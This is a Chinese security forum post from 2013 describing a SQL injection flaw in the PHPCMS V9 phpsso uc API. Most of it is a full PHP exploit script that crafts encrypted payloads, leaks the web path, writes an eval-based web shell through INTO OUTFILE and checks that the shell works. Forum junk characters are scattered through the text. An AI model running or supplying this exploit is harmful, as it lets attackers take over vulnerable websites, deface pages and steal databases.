找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1900|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。3 L' R) S" |: A3 e

5 W& S. B  {% `' p2 S/ a6 t所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。% s* H( ^3 M' H# h
, N: P7 K1 l+ W, g* q7 }# s6 u
漏洞分析:4 S& {% L, d0 F) q  ~6 ]. \# }
1.未启用ucenter服务的情况下uc_key为空
$ H. h4 I4 g9 Gdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
8 q) b9 @9 |0 d3 s7 w! }2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。+ O2 L" p$ B  T9 l2 G9 o7 Q
    public function deleteuser($get,$post) {
5 r" }; F3 l) R5 n, ^        pc_base::load_app_func('global', 'admin');1 _/ Y8 y0 m- K$ Z+ b8 w  h2 G# q: c7 |% P
        pc_base::load_app_class('messagequeue', 'admin' , 0);
9 x/ k: L) i8 Z# a        $ids = new_stripslashes($get['ids']);5 ?4 Z0 t4 k+ K  Z9 r3 r& O
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");3 j8 ^3 u6 F5 _; b7 y
SQL语句为+ s! l& l% K; ?6 |9 r6 B
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
: @) a' w5 {% u# A# L7 m9 \: i( ^4 I( q3 r# p+ }! Z+ ^$ ?( o7 o
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
) t2 l3 T4 P% H! `: {<?php
) F) k. D6 j0 }. aprint_r('8 @/ f6 N, b/ F" m; t
---------------------------------------------------------------------------
7 `7 B* H' _2 r7 SPHPcms (v9 or Old Version) uc api sql injection 0day
$ O, m) G% E, g1 X* Oby rayh4c#80sec.com
: @2 F; ^7 l! ?+ x( }, u; b3 V' I* k---------------------------------------------------------------------------& @: }( Q* @; R+ S2 k+ a, \8 h
');) X/ \3 L* A) `. Q5 E. w

0 M6 ~! }& I: `! Gif ($argc<3) {
! K9 ]2 C9 A! c, I4 r; w    print_r('' G/ M- |0 _% [$ E/ p1 g8 J6 C
---------------------------------------------------------------------------
* m+ g" W4 T5 A+ f' [. h3 U& BUsage: php '.$argv[0].' host path OPTIONS0 j8 h7 g! P$ Z3 @& ]+ g
host:      target server (ip/hostname)
6 N, v8 E( o' S) }3 xpath:      path to phpcms) C$ K7 ^1 B5 \$ @
Options:
6 c- R8 K7 J0 p& H0 r5 S% D5 s" g -p[port]:    specify a port other than 806 K/ l9 V2 C# s, B  [1 F, W0 k
-P[ip:port]: specify a proxy
$ W  G. j& ~5 F2 P$ fExample:6 B& k, w- S4 r4 B; O- l7 Y
php '.$argv[0].' localhost /6 e1 W1 g, g% Q; g; D- Y
php '.$argv[0].' localhost /phpcms/ -p81
8 K' m. S; V9 w3 x; f$ G6 Tphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80, W% P8 `7 L+ f& f* g, n7 H
---------------------------------------------------------------------------: I) e0 \( @% ?) S. r" a" R
');
2 H9 v' b: j$ d) N6 n    die;
( m7 W) @9 l; _& k6 ^9 \}$ R! k* ~7 G$ c
7 K$ x: U3 |/ y3 g- ^) B. O  \
error_reporting(7);" n8 c" v* E) R
ini_set("max_execution_time",0);
, n1 ^+ X! O0 \+ r7 {ini_set("default_socket_timeout",5);. i: e0 x5 P5 O" D4 D7 L
; D: w, S9 \9 @' ?, ~$ j1 H. }
function quick_dump($string)( \& _3 U* }' t% Y
{9 ~4 l4 ]+ I- l# |+ \
  $result='';$exa='';$cont=0;4 g- `' d$ z6 h
  for ($i=0; $i<=strlen($string)-1; $i++)- I$ I0 W" x1 j; a- C6 ]
  {
9 R4 n/ @& t0 C4 _- ?6 j8 @   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))* w  ]1 T( k/ m/ t; g/ y
   {$result.="  .";}3 s) u, \8 v9 B+ \
   else
: o! y" k: w1 N0 @3 y   {$result.="  ".$string[$i];}
/ v) a1 K4 r( K$ W/ T   if (strlen(dechex(ord($string[$i])))==2)
" G! Z4 M: g0 |" u5 I0 t7 B   {$exa.=" ".dechex(ord($string[$i]));}" J% B8 x: q* _* W  h0 b
   else
. ?- T9 j( O6 y4 D; _9 Q   {$exa.=" 0".dechex(ord($string[$i]));}
2 j  ^2 `0 }, l. ^7 o9 [- d   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}9 ]" V) X/ Q/ K
  }
+ a7 N4 _7 g/ l& m6 ]  S7 P* o return $exa."\r\n".$result;3 i( f$ W" X7 ?& @$ t2 W" A0 ]1 D
}
4 X* J/ z& H9 O9 r1 V4 U, C$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
5 O) `8 q- Y  E/ }* c2 `4 m" V* s; S! [% S# H+ d& a
function send($packet)! s! J! ], {8 v2 [$ Y
{7 D; B* L/ l" Y
  global $proxy, $host, $port, $html, $proxy_regex;
6 }* w! a  {/ Z; A8 h  if ($proxy=='') {
2 Z2 {) v6 n0 I    $ock=fsockopen(gethostbyname($host),$port);* _& `' v' H' i( Q
    if (!$ock) {& u9 W; k1 F: x7 @5 [- n
      echo 'No response from '.$host.':'.$port; die;
) R6 g: Z2 N' F* q    }- @6 G7 G. J2 j' P8 ^$ o% U3 T
  }1 A& g4 ~) ^- T
  else {
! Y  i+ P, a+ l- [0 N4 `. {        $c = preg_match($proxy_regex,$proxy);- m0 z' V2 D* |" f- M/ \9 n' c  j
    if (!$c) {
6 u" K, V$ x( p0 p      echo 'Not a valid proxy...';die;. X/ d: K2 v/ S* d8 J6 W" |: o
    }
- X4 d2 j! W" j7 m    $parts=explode(':',$proxy);
+ }( `3 F, E4 q+ C5 y' L7 L    $parts[1]=(int)$parts[1];5 R) B6 k: o, h0 W2 A/ t3 U
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";3 A2 A2 B4 |- P  D  O; R
    $ock=fsockopen($parts[0],$parts[1]);
0 k! p5 k" ?4 O    if (!$ock) {. ?5 e7 W/ e0 J- `8 T
      echo 'No response from proxy...';die;( N- y1 R6 @) l( U( c
        }
% L+ Z' a" i4 o! @3 I* n  }- e8 y7 N' I: H* k8 M
  fputs($ock,$packet);+ r$ g* H) @, N+ `3 {( W! L
  if ($proxy=='') {
7 p4 V- Y+ c# z    $html='';& S3 Q4 L) _5 j+ }/ _/ K. p$ P
    while (!feof($ock)) {' f8 g# k9 C( d; L/ ]; {
      $html.=fgets($ock);+ Q% u7 B* B  U
    }
# o, i, L, v" G0 d2 H) I( m. U  }' e( A, b5 M( A' W
  else {
* B) }, x4 @, Z) F( {/ w0 J- q    $html='';
: |7 V8 c2 W6 d0 l7 E' F9 S0 A    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {, t# U% z' G8 V
      $html.=fread($ock,1);0 a! v- \# w- Y$ x$ u& L7 t0 ~/ t
    }
0 ?3 u4 v% R2 Y+ I: K! Y  }
1 D% K2 L9 z" F) E  fclose($ock);+ k3 K1 C5 S# F! T  m9 K" {  |
}
7 c) k; E& ?3 _2 ~5 g+ r
7 c. o/ o  }( j- C6 M8 c$host=$argv[1];
9 S, u! q) v6 j* d8 x! ~$path=$argv[2];, D  [6 K. ]. Q1 d5 @" z0 X
$port=80;4 j+ W( G; W' d4 Z2 V" }4 q: s
$proxy="";
7 k, }: f+ G. \3 p: P2 W, f0 nfor ($i=3; $i<$argc; $i++){0 _, [! T9 z3 s" N0 _
$temp=$argv[$i][0].$argv[$i][1];
5 g+ F- ?: F# W8 iif ($temp=="-p")
' F. o$ t9 _5 ~( ~{
1 t# D' \( H2 H  X( a+ L& J# T  $port=(int)str_replace("-p","",$argv[$i]);
7 ~) s# k; u! x$ m! ]& N}- x; N! X0 t8 n: r* }
if ($temp=="-P")
3 Z# ~( j9 P- h$ _# K& n) L& ]{& d7 B7 X  J& Y1 F% y7 |! ]0 |
  $proxy=str_replace("-P","",$argv[$i]);$ ~) @7 w7 g# k7 {- U
}+ p$ l+ x: `. I9 t
}: L, w2 C- G' Q! S+ Y- |6 E* p. `

( @, w4 ?- ?8 y7 U5 ]( x/ a& Uif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}2 X1 e/ T+ w+ A) `& o
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}' Y1 u, f1 @+ m, d# y3 q* ^$ ]

6 W& o$ F+ Q2 |; efunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
( \% X. `0 J: `/ n8 r6 G- m$ F
% ?2 N. h; W0 o    $ckey_length = 4;
+ t" f; I' T  V, T7 R8 ~5 K
- F! m9 W. |4 u6 d, ~) C+ Q    $key = md5($key ? $key : '');7 e) j6 r0 E- f4 C- A/ f
    $keya = md5(substr($key, 0, 16));, I4 {6 d- Y7 e* {$ v4 v
    $keyb = md5(substr($key, 16, 16));/ Q6 e3 X- ]% i
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';) B6 _2 a3 S4 W3 `& q7 {
+ `7 w" t# U1 I' \$ |
    $cryptkey = $keya.md5($keya.$keyc);; N" M) y" `& J1 K4 c9 f$ G
    $key_length = strlen($cryptkey);2 D" G+ o& J$ |; _5 r, Y

- Q% T( _$ q4 z/ }3 g    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;2 u$ y  p7 N9 r% T3 n: q& w& f
    $string_length = strlen($string);# N0 g$ [1 A8 w
% |7 |+ B) n3 l
    $result = '';
2 \2 Y5 }* q2 u3 s) x! W    $box = range(0, 255);
: C. h8 r- v9 S3 `3 k4 ~! Z. o0 |3 G- i  {0 F3 q1 W
    $rndkey = array();+ J' x' C+ F' t0 [9 }1 L3 a
    for($i = 0; $i <= 255; $i++) {
4 ~' }, A1 \# R# R        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
$ K' m) _: z0 Q4 l7 _) v    }; t0 m' M' z) u& f! P% V
. m: \2 [5 i) X% C' W' g
    for($j = $i = 0; $i < 256; $i++) {
7 Y! M3 B* S. L! \, }& `& t8 A: _        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
: N5 K: p3 K4 b/ ~7 H0 F        $tmp = $box[$i];' g9 T6 S6 S) j% z
        $box[$i] = $box[$j];
0 c6 w0 x$ K& H. ~" a+ U6 s        $box[$j] = $tmp;
9 X( T1 }3 a) g    }
: F* m4 u. Z$ l, U6 Y# B& V& w" M7 R! n3 j9 [
    for($a = $j = $i = 0; $i < $string_length; $i++) {1 ?) N& t4 r' o
        $a = ($a + 1) % 256;
% u% M( x7 g$ y- K; T; J        $j = ($j + $box[$a]) % 256;
7 \7 |9 _+ C" ]        $tmp = $box[$a];! @( |0 P8 M( D. Z6 q! ^  I% `3 \
        $box[$a] = $box[$j];
9 ^7 a9 N; i/ B8 p4 K6 Z        $box[$j] = $tmp;
+ X6 Y" E0 t& [        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
6 I* Q. R- G' Z! a% z7 C8 X/ Q    }
" X9 V& D+ V- O5 n2 L8 ?- {* Z( T5 o* U/ j' P, g
    if($operation == 'DECODE') {
9 k+ @* H- d6 X1 m" N4 s2 K  \  ]* O        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {1 Z) _* [9 O& e, l- L/ E
            return substr($result, 26);
; }+ @' R) p; n1 q" D        } else {
$ s) Q: _: O  u# J. \; p( P6 |            return '';
8 P* Z$ f# s2 A0 V' w        }8 E( L6 R- o9 ^- n3 ?
    } else {
" \7 b) M- X  n$ V: G$ i& H        return $keyc.str_replace('=', '', base64_encode($result));
5 Q4 S- s3 A' `+ D    }
1 J" ?5 k8 G+ U: x
9 A2 j. K, e2 v/ h/ A* ?' M) W* N}
8 D5 Q, l, j) J6 @5 m' A$ P5 F5 O& J: N& W
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
& H. c0 O9 |; L) M+ f$SQL = urlencode(authcode($SQL, "ENCODE", ""));
4 R" K% f' j) W! C7 W" l9 A- m' mecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";- h4 C3 H3 {3 _% ^3 [' E
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
! z1 D  a: c2 N3 J# \$packet.="User-Agent: Mozilla/5.0\r\n";& S( s( U, x* X' q
$packet.="Host: ".$host."\r\n";0 X7 J. Q  L' [. a" L0 S/ N
$packet.="Connection: Close\r\n\r\n";9 }" @, p9 g" ^. N/ l4 h
send($packet);8 j" e6 B/ o: O* R3 X
if(strpos($html,"MySQL Errno") > 0){
. H. P+ Z# c& Recho "[2] 发现存在SQL注入漏洞"."\n";
* o" S* n- I; p7 {- Uecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
5 x$ j9 p0 z  f/ A, H0 h( \% Z$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
) g+ S# A1 y$ H  {& r$packet.="User-Agent: Mozilla/5.0\r\n";4 V; u2 |, y& _
$packet.="Host: ".$host."\r\n";# {* [: }4 U" J  u
$packet.="Connection: Close\r\n\r\n";* O4 O+ n% R4 ?5 Y4 y
send($packet);
  c. L. x* R) Q  Xpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);) Q6 a. d+ B2 {( M( n
//print_r($matches);
$ l5 {* l! @. b9 K7 _if(!empty($matches)){
" P% L) r+ [8 V: f6 g! ?4 ?& becho "[4] 得到web路径 " . $matches[0]."\n";
; a, j  b  e. e7 }echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
& t7 |# h' Y$ |7 R0 C) ^$SQL = "time=999999999999999999999999&ids=1)";
, l$ [* c+ D3 R3 i4 ?8 V( ]. u* m2 q1 r$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
' e$ `- p& `0 O& `- g$SQL.="&action=deleteuser";1 e' W/ Z+ ~0 q4 e; t9 v
$SQL = urlencode(authcode($SQL, "ENCODE", ""));( h* D  D( L3 I  J" |' N7 r
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";$ {. i& W' @* j5 H- ^( j1 M
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
! E: \$ H7 A  R$packet.="User-Agent: Mozilla/5.0\r\n";
+ ^; I; j# M+ P5 \: R$packet.="Host: ".$host."\r\n";
1 f  X! M- C6 g! I# z# |& L& n# c$packet.="Connection: Close\r\n\r\n";6 d. J! h5 L7 v. e! J( O4 @% M4 l! }
send($packet);
6 J) Y1 f; _3 l$ l; eif(strpos($html,"Access denied") > 0){
( a) e! M) c8 ~9 q. `4 C, |echo "[-] MYSQL权限过低 禁止写入文件 ";
1 ?+ Q  V7 z0 J- Idie;  K1 o  ]) u' q% i
}# _7 |8 r! M. L9 i$ A6 X' O) [
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
. J$ s! {. Q0 `9 V0 `6 H9 c$ z2 E: y7 J$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
5 X) W; o) d4 A/ O5 o$packet.="User-Agent: Mozilla/5.0\r\n";
6 ]6 n7 L7 p; x* [3 e) F$packet.="Host: ".$host."\r\n";: Y# s) L& o9 l
$packet.="Connection: Close\r\n\r\n";
+ w4 t/ w- D% c+ a! f) J) vsend($packet);% Y" I# \1 Y: y- A4 w' W
if(strpos($html,"<title>phpinfo()</title>") > 0){
4 L  @! H1 v2 {; s  k  @  Secho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";: }2 Y+ |4 L! r; f0 W
}
2 ~/ Z& |# c/ h. i/ b5 @8 m( F# K}else{2 o: X6 _4 u6 K( @0 w4 ~
echo "[-]未取到web路径 ";
( q: e; i. \  T}* D8 C9 A/ j1 f: B2 K, U- t4 s
}else{% C6 ^; W, D) U. Y: R
echo "[*]不存在SQL注入漏洞"."\n";4 [8 N& g. j$ [
}: e8 U; s: C& w6 F
& V5 [# P6 R3 r8 Y& P
?>
. k0 R# X; Q" A3 J; W, ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表